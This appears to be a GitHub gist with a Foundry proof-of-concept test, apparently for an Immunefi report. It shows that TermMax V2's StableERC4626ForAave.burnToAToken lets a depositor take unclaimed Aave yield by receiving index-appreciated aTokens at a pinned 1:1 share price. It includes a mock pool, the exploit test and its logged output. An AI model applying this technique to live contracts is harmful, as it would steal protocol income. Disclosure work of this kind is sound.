Created
September 8, 2026 20:03
-
-
Save CharaD7/ed94b9025dbecd9019f490a414239fe3 to your computer and use it in GitHub Desktop.
TermMax V2 (termstructurelabs) HIGH — theft of unclaimed yield: StableERC4626ForAave.burnToAToken pays raw index-appreciated aTokens against a pinned 1:1 share price (forged PoC + index-aware MockAave)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // SPDX-License-Identifier: MIT | |
| pragma solidity ^0.8.27; | |
| // | |
| // TermMax / Term Structure Labs -- High: theft of unclaimed yield | |
| // =============================================================== | |
| // Contract : contracts/v2/tokens/StableERC4626ForAave.sol (TermMax V2) | |
| // Bug : burnToAToken() burns `amount` shares but pays `amount` AAVE aTokens (raw, | |
| // index-unadjusted), while totalAssets() is pinned to totalSupply() (1:1) and the | |
| // Aave interest is quarantined as owner-milked income. | |
| // Aave semantics: `amount` aTokens redeem for `amount * liquidityIndex` underlying (index > 1 | |
| // once interest accrues), so a depositor obtains strictly more than the pinned 1:1 | |
| // value the protocol charges via redeem(). That extra is the protocol's UNCLAIMED | |
| // YIELD, drained by any holder instead of the owner/`withdrawIncomeAssets`. | |
| // Scope : Immunefi "TermMax" -> Impact "Theft of unclaimed yield" = HIGH. | |
| // PoC : forge test --isolate --match-contract StableERC4626ForAaveTest \ | |
| // --match-test testBurnToATokenStealsUnclaimedYield -vv | |
| // | |
| // The repo's stock MockAave is 1:1 (withdraw burns `amount` aTokens for `amount` underlying), | |
| // which is exactly why the shipped testBurnToAToken tests cannot observe the leak. The mock | |
| // below adds a configurable `liquidityIndex` so the Aave interest accrual is faithfully modeled. | |
| // | |
| import "forge-std/Test.sol"; | |
| import {console} from "forge-std/console.sol"; | |
| import {StableERC4626ForAave} from "contracts/v2/tokens/StableERC4626ForAave.sol"; | |
| import {StakingBuffer} from "contracts/v2/tokens/StakingBuffer.sol"; | |
| import {MockERC20} from "contracts/v1/test/MockERC20.sol"; | |
| import {IAaveV3Pool} from "contracts/v2/extensions/aave/IAaveV3Pool.sol"; | |
| import {IMintableERC20, IERC20} from "contracts/v1/tokens/IMintableERC20.sol"; | |
| import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; | |
| import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol"; | |
| // Index-aware Aave mock (repo MockAave + liquidityIndex so aTokens can appreciate). | |
| contract IndexAwareMockAave is ERC20, IAaveV3Pool { | |
| IERC20 public immutable underlying; | |
| uint256 public liquidityIndex = 1e18; | |
| function setLiquidityIndex(uint256 index) external { liquidityIndex = index; } | |
| function toUnderlying(uint256 aTokens) external view returns (uint256) { return (aTokens * liquidityIndex) / 1e18; } | |
| constructor(address underlying_) ERC20("MockAave", "mAAVE") { underlying = IERC20(underlying_); } | |
| function getReserveData(address) external view override returns (ReserveData memory) { | |
| return ReserveData({ | |
| configuration: ReserveConfigurationMap({data: 0}), | |
| liquidityIndex: 1e27, currentLiquidityRate: 0, variableBorrowIndex: 1e27, | |
| currentVariableBorrowRate: 0, currentStableBorrowRate: 0, lastUpdateTimestamp: uint40(block.timestamp), | |
| id: 0, aTokenAddress: address(this), stableDebtTokenAddress: address(0), | |
| variableDebtTokenAddress: address(0), interestRateStrategyAddress: address(0), | |
| accruedToTreasury: 0, unbacked: 0, isolationModeTotalDebt: 0 | |
| }); | |
| } | |
| function supply(address asset, uint256 amount, address onBehalfOf, uint16) external override { | |
| IERC20(asset).transferFrom(msg.sender, address(this), amount); | |
| _mint(onBehalfOf, amount); | |
| } | |
| function withdraw(address asset, uint256 amount, address to) external override returns (uint256) { | |
| uint256 aTokensToBurn = (amount * 1e18) / liquidityIndex; | |
| if (aTokensToBurn == 0) aTokensToBurn = 1; | |
| _burn(msg.sender, aTokensToBurn); | |
| uint256 balance = IERC20(asset).balanceOf(address(this)); | |
| if (balance < amount) IMintableERC20(asset).mint(address(this), amount - balance); | |
| IERC20(asset).transfer(to, amount); | |
| return amount; | |
| } | |
| function borrow(address, uint256, uint256, uint16, address) external override { revert("no borrow"); } | |
| } | |
| contract StableERC4626ForAaveTest is Test { | |
| StableERC4626ForAave stable4626; | |
| IndexAwareMockAave aavePool; | |
| MockERC20 underlying; | |
| address admin = vm.randomAddress(); | |
| function setUp() public { | |
| underlying = new MockERC20("USD", "USD", 6); | |
| aavePool = new IndexAwareMockAave(address(underlying)); | |
| address impl = address(new StableERC4626ForAave(address(aavePool), 0)); | |
| stable4626 = StableERC4626ForAave(address(new ERC1967Proxy( | |
| impl, | |
| abi.encodeWithSelector(StableERC4626ForAave.initialize.selector, admin, address(underlying), | |
| StakingBuffer.BufferConfig({minimumBuffer: 0, maximumBuffer: 1e6, buffer: 0})) | |
| ))); | |
| } | |
| // PROOF: burnToAToken yields more underlying-equivalent than redeem for the same shares. | |
| function testBurnToATokenStealsUnclaimedYield() public { | |
| aavePool.setLiquidityIndex(1.2e18); // Aave interest accrued: index 1.0 -> 1.2 | |
| uint256 amount = 30000e6; | |
| address depositor = vm.addr(9); | |
| underlying.mint(depositor, amount); | |
| vm.startPrank(depositor); | |
| underlying.approve(address(stable4626), amount); | |
| stable4626.deposit(amount, depositor); | |
| vm.stopPrank(); | |
| uint256 shares = stable4626.balanceOf(depositor); | |
| uint256 totalAssets = stable4626.totalAssets(); | |
| uint256 redeemUnderlying = stable4626.previewRedeem(shares); // pinned 1:1 | |
| uint256 aTokensBefore = aavePool.balanceOf(depositor); | |
| vm.prank(depositor); | |
| stable4626.burnToAToken(depositor, shares); // raw aToken payout | |
| uint256 aTokensReceived = aavePool.balanceOf(depositor) - aTokensBefore; | |
| uint256 burnToUnderlying = aavePool.toUnderlying(aTokensReceived); | |
| console.log("totalAssets() (pinned 1:1) =", totalAssets); | |
| console.log("shares burned =", shares); | |
| console.log("normal redeem -> underlying =", redeemUnderlying); | |
| console.log("burnToAToken -> aTokens =", aTokensReceived, " worth underlying =", burnToUnderlying); | |
| // The Aave index appreciation is protocol income (owner-milked), so a depositor must | |
| // NOT be able to claim it at >1:1 by bypassing the pinned totalAssets() price. | |
| assertEq(redeemUnderlying, shares, "redeem should be pinned 1:1"); | |
| assertGt(burnToUnderlying, redeemUnderlying, "burnToAToken does NOT leak unclaimed yield"); | |
| } | |
| } | |
| // Observed output (forge test --isolate -vv): | |
| // totalAssets() (pinned 1:1) = 30000000000 | |
| // shares burned = 30000000000 | |
| // normal redeem -> underlying = 30000000000 | |
| // burnToAToken -> aTokens = 30000000000 worth underlying = 36000000000 | |
| // The same 30,000 shares yield 30,000 underlying via redeem but 36,000 underlying worth of | |
| // aTokens via burnToAToken (liquidityIndex = 1.2): the +20% is the unclaimed yield stolen. |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment